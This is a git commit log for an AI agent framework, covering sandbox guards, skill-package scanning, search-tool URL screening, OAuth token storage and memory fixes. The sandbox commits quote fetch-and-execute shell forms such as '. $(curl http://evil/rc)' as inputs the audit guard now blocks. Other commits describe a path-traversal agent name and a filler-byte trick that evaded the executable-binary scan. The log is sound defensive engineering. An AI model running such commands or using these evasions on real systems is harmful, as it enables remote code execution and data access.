* fix(goal): use spare evidence budget for long user input
* fix(goal): retry one malformed evaluator verdict
---------
Co-authored-by: Totoro-qaq <279883115+Totoro-qaq@users.noreply.github.com>
* fix(tui): append streamed assistant deltas verbatim
The reducer merged each delta by comparing it with the row text: an
equal delta was a no-op, a delta starting with the row replaced it, and
a delta the row started with was dropped. Those rules absorbed re-sends,
replayed history and cumulative snapshots, none of which
DeerFlowClient.stream emits any more, so they only deleted real tokens
("ha" + "ha" -> "ha", "1" + "10" -> "10") and every standalone Markdown
marker an answer opened with (closing **, list bullets, table pipes,
closing code fences).
Append every delta on both the id-keyed and anonymous paths, and drop
_merge_stream_text. Rewrite the tests that pinned the re-send premise
as append contracts, run the merge cases through reduce() on both
paths, and drive the real client stream into the reducer.
* docs(changelog): note TUI streamed-delta fix (#7325)
* docs(changelog): drop trailing spaces after the #7325 entries
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(artifacts): keep a delimited sandbox path whole
The free-text artifact scan matched `/mnt/user-data/\S+`, so a tool that
quoted a filename with spaces registered a handle for the prefix: `Created
"/mnt/user-data/outputs/quarterly report.pdf" successfully.` became
`/mnt/user-data/outputs/quarterly`, which resolves to nothing after compact or
checkpoint reload. Quotes and inline backticks had the same failure.
The scan now classifies each candidate by how it is delimited. A span opened by
a matching quote or backtick on the same line is one value and keeps its spaces
and punctuation; a span whose delimiter never closes on that line reports
nothing, because a truncated prefix names a file that does not exist; a bare
path keeps the conservative whitespace boundary it always had. Ordering is the
text order, and the shared `seen` set still deduplicates against structured
references.
Pins the three delimiters, both unchanged behaviours (bare path boundary,
punctuation outside the delimiter), the unterminated and next-line cases, two
delimited paths in one result, a mixed delimited/bare result, and the extracted
handle end to end.
* fix(artifacts): reject line breaks and match escaped quotes
* fix(artifacts): validate quoted path boundaries
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* feat(community): migrate You.com tools to async HTTP
The You.com provider sent its search request through a sync httpx.Client. A
sync LangChain tool invoked through ainvoke runs on the default executor, so
the request held one of that pool's threads for the whole network round-trip,
and several providers queried in parallel queued behind each other.
Make the tool a coroutine over httpx.AsyncClient, resolve the API key and
the configured max_results in a single config read, and move both disk reads
off the event loop: the tool config, and the User-Agent, which reads the
installed package metadata the first time it is needed.
* refactor(community): drop the dead You.com API key wrapper
The async migration resolved the key and max_results through
_resolve_tool_settings, which left _get_api_key with no production
caller: only TestGetApiKey still exercised it. Keeping a second seam
around the same config read lets it drift from the real call path, so
drop the wrapper and point the tests at _resolve_tool_settings.
Also keep the hot path off the executor: _user_agent is cached, so only
the first call reads the installed package metadata. Later calls are
in-memory hits and now skip the to_thread round-trip.
Finally, record which httpx client factory the provider reaches for in
the runtime anchor. MockTransport runs its handler on the calling thread
without real blocking I/O, so a provider that stayed async but sent the
request through a sync client would satisfy the thread assertion; the
recorded factory is what catches that partial regression.
* test(community): align You.com URL safety stub with async tool
The URL safety matrix still patched the removed _get_api_key seam and invoked the You.com tool synchronously. Mock the awaited search with AsyncMock and call the tool through ainvoke so URL screening remains covered after the async migration.
---------
Co-authored-by: treasuresyq <309743290+treasuresyq@users.noreply.github.com>
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
Exa web_search and web_fetch accept a per-tool base_url, falling back to
EXA_BASE_URL and then the SDK default. Overrides are validated like the
Serper base URL. web_fetch screens a configured backend with the shared
delegated-backend guard.
Co-authored-by: lachy3433 <lachlanallen.co@gmail.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* fix(models): honor HTTP-date Retry-After hints in Claude retries
* refactor(models): share bounded HTTP-date retry parsing
* test(agents): move retry date regression to middleware suite
get_soul was the only read/write method that skipped validate_agent_name,
so a name like "../../other-user/agents/planner" reached
resolve_agent_dir and read another user's SOUL.md. Validate it like the
other methods do.
The regression test asserts ValueError for a traversal name; it reads the
other user's soul on main.
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(sandbox): release the E2B ownership lease when acquire finds the VM gone
The in-process reuse path (dead or unreachable cached client) and the
warm-pool reclaim path (reconnect reports "sandbox not found") dropped
their local bookkeeping but kept the VM's ownership lease. Nothing later
sees that ID: the warm sweep only walks the warm pool, reconciliation
only walks the remote inventory, and the lease renewer keeps renewing
(and re-claims a lapsed lease) until shutdown. Every reaped VM left one
entry in _owned_sandbox_ids and one renewed ownership key behind.
Call _release_ownership in both branches. Both act only on E2B's trusted
not-found signal, the store's release is a no-op for a peer's lease, and
a backend error still drops the local ID so the shared lease expires on
its TTL.
* docs(changelog): reference #7277 for the E2B dead-VM lease fix
* test(sandbox): pin that transient E2B errors keep the ownership lease
The dead-VM release is only safe because the gone signatures match
narrowly. Pin the other side: a non-gone ping error keeps reusing the
cached VM, and a non-gone warm reconnect error leaves the lease to
eviction.
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(skills): treat only top-level scripts/ paths as executable in skill_manage
write_file classified a support file as executable content with a substring
test ("scripts/" in path), so any support path merely containing "scripts/"
(e.g. references/scripts/overview.md or templates/my-scripts/setup.md) was
moderated as executable: that scan requires an exact "allow" decision and
hard-blocks when the moderation model is unavailable. Executable content is
now exactly a file under the skill's top-level scripts/ directory, matching
the scripts/ member rule in skills/package_files.py and the same Path
semantics the storage layer already used to validate the support path.
* refactor(skills): share the scripts/ member rule with skill_manage
The write_file executable gate re-derived the top-level scripts/ member rule
locally. Use package_files.is_scripts_member instead so the gate, installer,
and SkillScan stay in lockstep.
Extend the regression test to pin scripts/sub/run.sh and ./scripts/run.sh as
executable content, plus the shared helper's normalization.
* fix(skills): moderate nested code files as executable content in skill_manage
The write_file executable gate classified only top-level <scripts/> members as
code, so runnable support files elsewhere in the package
(references/scripts/helper.py, templates/my-scripts/run.sh,
assets/my-scripts/tool.js) and extensionless shebang files fell back to static
moderation: a warn decision, or an unavailable moderation model with
security_fail_closed=false, wrote them to disk. The deterministic package scan
does not enforce the allow-only model verdict, and this write path publishes
through write_custom_skill without running the mutations CandidateScanner, so no
later check restores executable moderation.
Classify with the complete shared code-file rule from
deerflow/skills/package_files.py (scripts members, code suffixes, and
extensionless shebang files) instead of the scripts-member rule alone, and keep
Markdown/data support files on the static tier. Extend the regression suite with
the code-suffix/ shebang cases plus the warn and unavailable-provider outcomes.
* feat(community): add Jsonify dataset rows tool
Adds deerflow.community.jsonify.tools:dataset_rows_tool, a read-only tool
that returns rows from maintained Jsonify datasets. Jsonify pipelines run on
a schedule and repair themselves when a source changes, so the agent reads a
current table instead of scraping.
- operator configures a named map of dataset -> serve URL; the model picks
by name and never sees the URL
- serve URLs must be https without userinfo and pass validate_public_http_url
before any request; the URL is redacted from error text
- paging with has_more/next_offset, version pinned after the first page,
limit clamped to the configured max_rows, system columns stripped
- config.example.yaml entry under tools; unit tests cover paging, clamping,
unknown dataset, unconfigured tool, http/userinfo rejection, private
address block and error redaction
Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01QrmeK98ZKoxZNiUiz8kVeX
* fix(community): harden Jsonify tool paging, logging and error handling
- Stop paging on an empty page or a next_offset that does not advance
- Log config validation failures by field location and error type only
- Validate page shape; malformed or non-JSON pages return a clean error
- Transport errors report the exception type, never the URL
- Add truncated flag when rows were clipped or more rows remain
- Tests for each case
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01QrmeK98ZKoxZNiUiz8kVeX
---------
Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>
* feat(knowledge): add independent Wiki and entity relation retrieval tools
* fix(knowledge): address review diagnostics and CI catalog coverage
* fix(knowledge): deduplicate graph evidence and update catalog e2e
* fix(knowledge): clarify bounded evidence and pin browser CI runners
* Update e2e-tests to run on ubuntu-latest
* Update workflow to use ubuntu-latest
* test(ci): stop pinning maintainer-controlled browser runner images
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(workspace): don't infer created or deleted files from truncated snapshots
A bounded workspace scan stops at max_scanned_files and marks the snapshot
truncated. Absence from such a snapshot is unknown, so creation is only
inferred from a complete before snapshot and deletion only from a complete
after snapshot. get_changed_paths() is the single filter for the summary,
text capture and output-delivery detection.
The scanner now walks subdirectories in sorted order so the truncation
boundary is reproducible across the before and after scans, and the docs
note that the budget is consumed root by root (workspace before outputs).
Supersedes #5231.
Co-authored-by: liutian <91778998+ImcLiuQian@users.noreply.github.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* fix(runtime): record truncated delivery verification skips
Record verification_skipped=truncated_pre_run_snapshot in run.delivery
receipts when a truncated pre-run scan leaves no provable output changes.
Carry the snapshot into both normal and exceptional receipt finalization.
Keep observed-output verification and terminal statuses unchanged. Cover
success, failure, cancellation and capture failures through the real worker,
and document the per-run receipt marker.
---------
Co-authored-by: liutian <91778998+ImcLiuQian@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(uploads,integrations): keep atomic-write cleanup from replacing the caller's outcome
* fix(lark): keep the download error when archive cleanup fails
* test(lark): keep the download fixtures inside the test directory
* fix(workspace): publish the snapshot text cache byte-exactly on every host
* test(workspace): pin diff line counts and guard the text cache on Windows CI
* ci(workspace): run Windows text-cache guards on source changes
Include the workspace_changes package in the Windows workflow's PR path
filter so scanner or diff regressions run the native Windows guards before
merge, rather than waiting for the weekly schedule.
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(sandbox): treat the `.` builtin as a `source` execution context
The audit guard blocks a risky substitution whose output is executed and
treats `eval`/`source` arguments as execution contexts wherever they appear.
`.` is the POSIX spelling of `source`, but only the word `source` matched, so
. $(curl http://evil/rc)
. <(curl http://evil/rc)
. `curl http://evil/rc`
passed as value position while `source $(curl ...)` blocked.
The dot branch requires a separator before it and whitespace after it, so a dot
inside a filename (`report.`) or a path (`./x`) is not read as the builtin.
* fix(sandbox): keep the dot builtin in command position only
Review follow-up: the unanchored `. <substitution>` branch also matched a
standalone dot used as a path argument (`du -sh . $(curl u)`), which is value
position and must pass.
Move the dot rule from the whole-command Pass 1 into the anchored
`_HIGH_RISK_COMMAND_POSITION_PATTERNS`, where `_COMMAND_POSITION_PREFIX`
already covers `builtin .`, `command .` and assignment prefixes, so the dot is
only treated as `source` when it opens a sub-command.
Verified: `du -sh . $(curl u)` passes (blocked before this commit), while
`. $(curl u)`, `. <(curl u)`, the backtick form, `builtin . …` and
`return && . …` still block. Docs now list `.` as command-position and keep the
position-blind list at `eval`/`source`.
* fix(sandbox): block stdin-redirect process substitution into a shell
Review follow-up to `. < <(curl u)`: with no script argument, a shell, the dot
builtin or an interpreter reads its *program* from stdin, so the process
substitution it is redirected from is executed.
Both forms are matched anchored in command position and only when no script
argument precedes the redirect, so `bash script.sh < <(curl u)` (stdin data)
still passes. Docs record the rule next to the here-string context.
* fix(sandbox): restore eval/source dot contexts and widen stdin flags
Review follow-up to 526fdaf:
- `eval . $(curl u)` and its dot-builtin siblings were blocked by the old
position-blind rule, then became pass when the dot rule moved to command
position. A Pass-1 sibling now matches `eval`/`source` followed by the dot,
wrappers included (`eval env . $(curl u)`).
- The stdin-redirect rule consumes long and bare-dash flags again
(`bash --norc < <(curl u)`, `node - < <(curl u)`). A flag whose value is the
next word (`bash -o pipefail < <(curl u)`) stays a documented known gap
instead of being guessed at.
* fix(sandbox): decide stdin-program execution from the token list
Review follow-up to a7c4a69. The stdin-redirect rule blocked three forms that
never execute the fetched bytes:
- `bash < <(curl u) consumer.sh` / `python3 < <(...) consumer.py` — a script
operand wins, so the substitution is that script's stdin data.
- `bash -n < <(curl u)` / `sh -n < ...` — noexec parses without running.
- `. < <(curl u)` / `source < <(curl u)` — the dot builtin requires a filename
and errors out instead of reading a program from stdin.
The anchored pattern is replaced by `_stdin_program_substitution`, which checks
the interpreter, its flags (shell noexec), the redirect, and whether a script
operand follows the substitution. Blocked forms are unchanged: `bash <
<(curl u)`, long and bare-dash flags, `env bash`, and non-shell interpreters
(`perl -n`).
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(community): screen tavily and exa web_search result URLs
The Tavily and Exa web_search tools returned provider URLs to the model
unfiltered, so a loopback, link-local or metadata-service address in a
result reached the agent. Brave and Serper already pass result URLs
through safe_public_result_url; do the same here, blanking a non-public
URL while keeping the row's title and snippet.
* fix(community): screen result URLs in the remaining web_search providers
youcom, tencent_wsa, serply (url and scholar pdf_url), groundroute, sofya,
ddg_search, fastcrw, firecrawl and searxng handed provider-supplied URLs
to the model unfiltered. Route each through safe_public_result_url, as
brave, serper, tavily and exa do: a non-public URL is blanked and the
row's title and snippet are kept.
The test now drives every listed provider's web_search tool with a
stubbed provider payload carrying a metadata, loopback or public URL.
* fix(community): screen brave, serper and webz web_search result URLs
The remaining text-search providers still returned result URLs verbatim.
Serper's comment documented that policy; it now screens organic links like
its image results. The shared provider test covers all fourteen providers
and asserts the snippet survives screening.
* docs(tests): describe text-search URL screening coverage
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(skills): sniff executable binaries past leading filler bytes
The executable-binary guard (package_files.is_executable_binary_prefix)
matched ELF/PE/Mach-O magics strictly at file offset 0 across all three
layers: archive preflight, the extraction guard, and the directory static
scan. Prepending a single filler byte (newline, space, NUL, ...) evades
every layer simultaneously: a whitespace-prefixed ELF still loads through
ld.so, and the existing test asserting the scanner and the extraction
guard agree passes for both the plain and the padded form after this fix,
because both layers share this helper.
The sniff now tolerates a bounded (64-byte) run of leading ASCII
whitespace/NUL filler before matching, and scan windows widen from 8 to
EXEC_SNIFF_BYTES so the magic plus filler always fits the probe. The cap
keeps indented prose out of the false-positive zone (the existing
"full magics only" tests stay green).
Repro before the fix: archive with SKILL.md and assets/payload whose
bytes are b'\n' + ELF header: preflight passes, extraction writes the
file, the directory scan reports nothing.
Tests: 10 new regression cases across test_skillscan_native.py and
test_skills_installer.py; 701 related tests pass locally on py3.12.
* fix(skills): clarify executable filler sniffing
Address review feedback by clarifying the offset-0 probe rationale, handling UTF-8 BOM prefixes without truncating Mach-O magics, and pinning the 63/64-byte boundary.
* test(skillscan): describe what the filler-prefix regression asserts
The docstring said filler "must not evade the offset-0 probe", which reads
oddly for a test whose payloads all sit past offset 0. State the asserted
behavior instead: a bounded filler run still yields a blocking CRITICAL
finding.
* test(skillscan): pin executable sniff window and BOM handling
* test(skillscan): cover every executable sniff entry point
* test(lark): isolate windows runtime branch
* fix(sandbox): surface local directory search permission errors
Permission failures during local list_dir and glob walks must reach the
caller instead of looking like an empty successful result. Transient
filesystem races keep using the existing walk race allowlist.
Fixes#7210
* fix(sandbox): keep denied path in ls/glob permission errors
Guard chmod-based permission tests for non-root POSIX, reverse-resolve
PermissionError.filename in LocalSandbox.list_dir/glob like grep, and
surface that path from ls_tool/glob_tool instead of only the requested root.
* test(sandbox): use workspace/tmp_path leak guards for ls/glob denials
* test: stabilize reporter evidence and guard missing chat nodes
* feat(models): scope Web model choices to tasks, turns and conversations
* test(e2e): mock model-control preview for ordinary chat submissions
* fix(models): harden scoped choices and stale Agent submissions
---------
Co-authored-by: Totoro-qaq <279883115+Totoro-qaq@users.noreply.github.com>
* fix(reflection): reject malformed variable paths before diagnosing them
resolve_variable splits on the last colon and assumed both halves were
usable. Two realistic typos fell through into misleading diagnoses:
- "json:" reached getattr(module, "") and reported
"Module json does not define a attribute/class" -- a blank name in the
middle of the sentence.
- "json:loads:extra" left the extra colon inside the module part, so the
failed import was reported as Missing dependency and the user was told to
run uv add json:loads, an instruction that cannot work.
Both are path mistakes, so they now get the same format guidance as a path
with no colon at all. Every provider, extension and model class path in the
repo flows through here, so the message is what an operator sees first.
Tests cover the two typos and assert the missing-dependency hint is not
offered for them.
* fix(reflection): reject relative module paths too, and pin the empty-module half
Review follow-ups on the malformed-path check:
- A leading-dot path (.foo:bar) is a relative import, and import_module
raises TypeError rather than ImportError for it. Every loader built on this
function catches ImportError, so the call crashed instead of reporting the
path. These paths are absolute by construction, so reject the shape.
- ":attr" was already covered by the new condition but had no test, which
left the empty-module half unpinned. Added one.
Both were mutation-checked: dropping each condition turns exactly its own
test red.
* fix(reflection): reject whitespace and trailing dots in variable paths too
Review follow-up on the shapes that stay inside the ImportError contract but
land in the missing-dependency branch:
- "json.:attr" advertises a distribution named `json.`
- "json :loads" and " json:attr" advertise `uv add json ` / `uv add json`,
where the space that IS the typo is invisible in the rendered hint
- "json:attr\n" reaches getattr with a name the caller never wrote
A dotted module path has no trailing dot and neither half carries
whitespace, so these get the same format guidance as the other four shapes.
Whitespace is checked inside both halves rather than at the ends, since
"json :loads" hides the typo in the middle.
Each new condition half is mutation-checked: removing the trailing-dot test
fails only the trailing-dot case, and removing both whitespace tests fails
exactly the two whitespace cases.
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* feat(community): migrate GroundRoute tools to async HTTP
The GroundRoute provider sent its search and fetch requests through a sync
httpx.Client. A sync LangChain tool invoked through ainvoke runs on the
default executor, so the request held one of that pool's threads for the
whole network round-trip, and several providers queried in parallel queued
behind each other.
Make both tools coroutines over httpx.AsyncClient, resolve the API key and
the configured max_results in a single config read, and keep that read off
the event loop with asyncio.to_thread.
* refactor(community): drop the dead GroundRoute API key wrapper
The async migration resolved the key and max_results through
_resolve_tool_settings, which left _get_api_key as a second seam around
the same config read: only TestGetApiKey still exercised it. web_fetch
now reads its key through the same resolver, and the tests point at
_resolve_tool_settings.
Also record which httpx client factory the provider reaches for in the
runtime anchor. MockTransport runs its handler on the calling thread
without real blocking I/O, so a provider that stayed async but sent the
request through a sync client would satisfy the thread assertion; the
recorded factory is what catches that partial regression.
---------
Co-authored-by: treasuresyq <309743290+treasuresyq@users.noreply.github.com>
* fix(skills): create a missing extensions_config.json in the project root
When no extensions config resolved, the skill toggle created one at
Path.cwd().parent while the MCP writers used project_root(). Unless the
Gateway runs from backend/ with the project root at its parent, the
toggle's file landed outside the resolver's search path: the toggle was
lost on reload and the next MCP edit created a second file.
Add ExtensionsConfig.default_config_path() (the project root, the first
location resolve_config_path searches) and use it from the skill toggle
and both MCP create paths, so a created file is always the one the next
resolution reads back.
* docs(changelog): reference #7048 for the extensions config create path
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(harness): complete Lark device auth via a single-flight login run
The web authorization polling loop reused the request wait budget as the
lark-cli auth login subprocess lifetime: each /lark/auth/complete poll ran
the CLI with subprocess timeout=wait_timeout_seconds (8s from the frontend)
and killed it on timeout. The login transaction is not atomic — poll, redeem
the single-use device code, fetch user info, then persist credentials — so a
kill after redemption but before persistence stranded the flow, and the next
poll with the same code failed with 'device_code is invalid'.
Own the login process by the flow generation instead: the first poll spawns
one background run per (user_id, generation) and later polls attach to it;
wait_timeout_seconds only bounds the caller's wait (unchanged 504 contract)
and never terminates the CLI. Advancing the generation or re-issuing a device
code abandons and kills the orphaned process, and a finished run's outcome
stays attachable for 120s so late polls return the same result instead of
re-consuming the redeemed code.
* fix(lark): tolerate vanished credential-tree entries and bound owner-alive grace
Publication could kill the login worker with an unhandled FileNotFoundError
when a concurrently-written temp file vanished between iterdir() and lstat(),
leaving the marker live but no result file ever published; every foreign poll
then blocked 504 until the 600 s attempt bound, and could respawn an
already-redeemed code. Also, a bare-pid owner_alive check trusted for the
full 600 s let a recycled-pid or crashed-thread marker outlive any process
that could still publish.
- _credential_tree_path_kind returns "gone" on FileNotFoundError so the
walk skips vanished entries instead of aborting; the same tolerance is
applied to iterdir().
- _write_lark_login_result_once treats the re-harden as best-effort: a
filesystem hiccup is logged and publication continues so the marker sweep
still runs.
- The marker now records owner_pid_started_at and
_read_live_lark_login_marker_locked only keeps an owner-alive marker
within a 10 s publication grace, so a stale marker is swept and the flow
respawns instead of wedging every foreign poll.
Regression: test_walk_and_harden_tolerates_a_vanished_entry,
test_write_result_once_continues_when_hardening_fails,
test_abandoned_marker_with_dead_owner_is_swept_within_grace.
Focused suites: 139 passed, 12 skipped.
* fix(lark): harden surviving credentials through filesystem churn
Atomic login publication can remove a descendant after lstat but before
chmod. Catch FileNotFoundError around the entire per-entry walk so that
lstat, chmod and directory enumeration tolerate those disappearances.
A vanished root, permission error or symlink remains a hard failure.
Exercise real removals at each boundary and concurrent result publication;
assert that injection ran and surviving directories/files reach 0700/0600.
The regressions detect a skipped walk, swallowed permission failures and
loss of directory-churn tolerance in isolated mutation runs.
* fix(lark): retain login ownership through durable completion
Browser approval can take longer than the publication grace. Start that
grace at the first observed CLI exit, then reject abandoned attempts
without retrying a device code that may already have been redeemed.
Serialize atomic result publication under the credential lock. Preserve
published results through cleanup failures and retain terminal failures
on the marker when result storage fails. Never bypass credential hardening.
Reserve storage before spawning and roll back failed marker, process or
thread startup by reaping the CLI, clearing the registry and waking waiters.
Add process/filesystem failure regressions, a long-login two-worker case,
and strict unhandled-thread gates. Fix invocation logging in both workers
and reap forked test CLIs after the parent observes their launch. Document
the authorization lifecycle and required regression assertions.
Validated the reproduced failures and ten isolated mutations; final
focused, blocking-I/O, full-suite and independent review details are in PR #7182.
* fix(mcp): keep rotating OAuth refresh tokens across restarts and Gateway instances
MCP servers on the OAuth refresh_token grant lost their rotated refresh
token whenever a new process or manager started (restart, tool-cache
reset for non-task servers, every personal-connection run, a second
Gateway instance) and re-seeded with the consumed configured token,
getting invalid_grant for good.
- New table mcp_oauth_tokens (migration 0047_mcp_oauth_tokens), one row
per refresh_token connection keyed (scope, owner_user_id, server_key):
('deployment', '', name) or ('personal', owner, personal runtime
name). Access and refresh tokens are DEER_FLOW_CREDENTIALS_KEY
ciphertext; a config fingerprint (token_url, client_id, grant, scope,
audience, seed) makes a changed seed win.
- OAuthTokenManager re-reads the row under its process lock, adopts a
peer's valid token, and otherwise claims the refresh with a lease plus
a version compare-and-set (database clock), fetches outside any
transaction, writes under the lease and releases it on failure.
- The Gateway installs the store (sync engine via to_thread) around the
LangGraph runtime for sqlite/postgres; personal managers pass their
owner. client_credentials stays in process; an unloadable key falls
back to process memory; database errors fail the refresh.
- credentials_key_consumers lists refresh_token MCP OAuth servers, so a
declared multi-instance deployment needs the shared key.
Docs: MCP_SERVER.md, CONFIGURATION.md, Helm README, README, mcp and
migrations AGENTS.md, CHANGELOG (en/zh).
* docs(changelog): link the MCP OAuth token store entry to #7207
* fix(mcp): prune removed connections' OAuth token rows and ask owners to re-authorize on invalid_grant
Review follow-up (willem-bd):
- Both MCP config writers drop mcp_oauth_tokens rows of connections a
save removes (deployment: _commit_mcp_config_write; personal:
_mutate, keeping each connection's enabled/disabled runtime-name
variants so a toggle keeps its chain). Best effort; no startup sweep,
since a missing config file would look like every server removed.
- invalid_grant on a refresh_token request raises
McpOAuthReauthorizationRequired: the tool error names the server and
asks for a new refresh token, plus the shared-key hint when this
instance could not decrypt the stored chain.
- Annotate the gateway helpers' config as AppConfig.
* fix(mcp): renew the OAuth refresh lease, keep unstored rotations, and key access tokens by request parameters
Review follow-up (willem-bd, second round):
- HTTPX timeouts bound each I/O wait, not a whole response: the refresh
holder now renews its lease every third of REFRESH_LEASE_SECONDS while
the token request runs and abandons it after REFRESH_MAX_SECONDS (120 s);
waiters outlast a live holder. Regression uses a real loopback endpoint
that streams its body for three lease lengths.
- A refresh whose tokens could not be stored keeps them pending
(unsaved_base_version): they are written back before an older stored
token is adopted or refreshed with, retried every few seconds while the
access token is still valid, and dropped once a peer stored a newer
chain. A failed save releases the lease.
- New token_request_fingerprint (extra_token_params and response fields):
a stored access token is reused only under the same request parameters;
otherwise the stored refresh-token chain is refreshed.
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(memory): persist the DeerMem extraction watermark across restarts and replicas
The updater's per-thread extraction watermark lived only in an in-process
LRU, so a restart or a second Gateway replica on the same storage root fed
already-extracted turns to the memory LLM again.
FileMemoryStorage now keeps it in users/{user}/agents/{agent}/.metadata/
watermarks.json, keyed by thread id, written atomically under the per-user
lock without touching memory.json and capped by watermark_max_keys. Each
update feeds after the furthest of the LRU entry and the persisted one, and
writes through after an extraction or a pre-screen skip; bypass_watermark is
unchanged and sidecar IO failures fall back to the LRU. Memory clears remove
the file with the other .metadata sidecars. Content-based message identities
are stored as SHA-256 digests so the sidecar holds no conversation text.
* docs(changelog): link the memory watermark entry to #7204 and #7205
* fix(memory): never replace an unreadable watermark sidecar
set_extraction_watermark rewrites the whole watermarks.json, and the shared
sidecar reader turns an OSError into an empty mapping, so a failed read could
replace every other thread's watermark with the current one (or delete the
file). The watermark sidecar now has its own reader: a missing file reads as
empty, malformed content reads as empty (nothing to keep; the next write
repairs it), and any other OSError propagates before anything is written. The
updater already logs that and keeps the extraction successful.
* fix(memory): keep the persisted watermark when the last message has no identity
_message_identity returns None for a last message with neither an id nor
text. The updater wrote that None through, which deleted the thread's entry
from watermarks.json, losing a watermark a peer may have advanced and forcing
a full feed on every replica. The write-through now skips None: the persisted
entry still marks an extracted prefix and the furthest-of-both read keeps
using it.
* fix(sandbox): measure warm-pool idle age on a monotonic clock
Warm-pool expiry measures a duration, but every provider stamped and reaped
entries using the wall clock. A forward correction could therefore destroy
fresh sandboxes, while a backward correction could retain expired ones until
the clock caught up.
Move every warm-pool writer and reader to time.monotonic(), including the
Tenki and OpenSandbox reset paths missed by the earlier closed attempt. Keep
absolute SandboxInfo.created_at and reconciliation grace timestamps on the
wall clock. Convert AIO's sibling active-idle timestamps as one clock domain,
and update finite clock mocks for the additional duration read.
Fixes#6970
* test(sandbox): keep active-idle race fixtures in the monotonic domain
The production AIO activity clock moved to monotonic time, but the shared
orphan-reconciliation helper still stamped active fixtures with wall time.
CI then computed a negative idle age, so two teardown race tests never reached
the ownership gate. Use the same monotonic domain as production.
* test(sandbox): read warm-pool idle fixtures on the monotonic clock
The idle-age conversion left several fixtures seeding the fields the reaper
now reads with values from the clock it no longer reads:
- `test_idle_reaping_forces_a_new_remote` froze `warm_pool_lifecycle.time.time`,
so the benchmark's reaper compared against real elapsed monotonic seconds —
zero over the test's lifetime. Nothing expired, the entry survived, and the
second turn came back as a warm hit.
- Three orphan-reconciliation fixtures seeded `_last_activity` with `0.0` and
two aio fixtures with `time.time()`, both of which are far below a running
monotonic clock: the computed idle age went negative, so the reaper never
reached the ownership claim these tests are built to exercise.
Seed them from `time.monotonic()` instead, and keep `created_at` (a wall-clock
field) on `time.time()`.
* refactor(skills): keep allowed-tools as compatibility metadata
* docs(skills): align current guides with agent tool authority
* test(skills): simplify authority regressions and sync Korean docs
* feat(decisions): add an OpenAI Decisions backend for the decision slots
Issue #7005 asked for a second decision provider behind the interfaces the
TypeSafe (Jev) integration already uses, not a new decision system.
`deerflow/openai_decisions` speaks `POST /v1/decisions`: a `noul` question
becomes a `predicate` whose true/false rubric folds into `instructions` (the
endpoint has no criteria field, and dropping it would move the decision
boundary while the adapter kept reporting the same criteria in its policy
identity), answers arrive as an array rather than a mapping, and a refusal is an
answer `type` rather than an HTTP failure -- so it lands in the existing
per-question error channel and each consumer keeps its own failure direction.
Transport is reused rather than copied. `provider_label` and the connection's
`endpoint_path` are the only two seams a dialect needs, so retry and backoff,
the deadline budget, the bounded never-decoded body read and the error taxonomy
keep one owner; `resolve_decisions_connection` pairs the two so a Decisions
connection cannot be built pointing at System One. The three adapters override
their connection resolution, their client, and the value the endpoint judges
(`input` text instead of a `state` object), and inherit thresholds, rubrics,
caches and audit policy unchanged. Wiring stays a `use:` class path, so no
config schema is added.
* fix(decisions): isolate endpoint identities and correct diagnostics
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(memory): quarantine unreadable memory.json in the read-error branch too
MarkdownMemoryStorage._load_memory_file quarantined summaries that failed
to decode as JSON/Markdown, but the earlier except (OSError, UnicodeError)
branch (unreadable bytes, e.g. a UTF-16 BOM) still returned None without
quarantining. The leftover file was then silently overwritten by the next
save, destroying the user's memories with no backup.
Call the existing best-effort self._quarantine_unreadable(path) there as
well, matching the documented quarantine contract, and add a regression
test asserting the original bytes survive a subsequent load+save.
Fixes#7072
* fix(memory): preserve summaries on transient read failures
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(tui): accept whitespace separators in slash commands
* fix(tui): align slash palette with Unicode whitespace
Close the slash palette on every whitespace separator accepted by the command resolver, including pasted tabs and Unicode spaces. Document the accepted delimiters and cover parser arguments, palette closure, Enter submission and Tab completion.
Validation: 352 focused tests, 34,089 offline backend tests and 262 blocking-I/O tests passed. Backend formatting, frontend check and agent guidance passed.
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(models): fall through an unusable credential source instead of ending the lookup
load_claude_code_credential's env branch returned None even when
_credential_from_direct_token rejected the value, so a valid
~/.claude/.credentials.json was never consulted for a blank token.
load_codex_cli_credential's 'or' chain stops at the first truthy layout,
so a blank or non-string top-level access_token hid a usable 'token' or
'tokens.access_token' in the same file -- and made the loader disagree
with scripts/doctor.py, which validates all three layouts.
Fixes#7139
* fix(models): try both env token sources and log the rejected one
A whitespace-only CLAUDE_CODE_OAUTH_TOKEN is rejected by _credential_from_direct_token, but os.getenv(A) or os.getenv(B) never reads ANTHROPIC_AUTH_TOKEN while A is truthy, so the blank first variable hid a usable second one. Test each source with the same non-blank rule, and log the rejected variable at debug (no token material) so the resolution outcome stays observable.
Also refresh the doctor.py mirror comment: the loader rejects whitespace-only tokens in every layout now, so the documented strictness divergence is gone.
* style(tests): format credential fallback log assertion
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
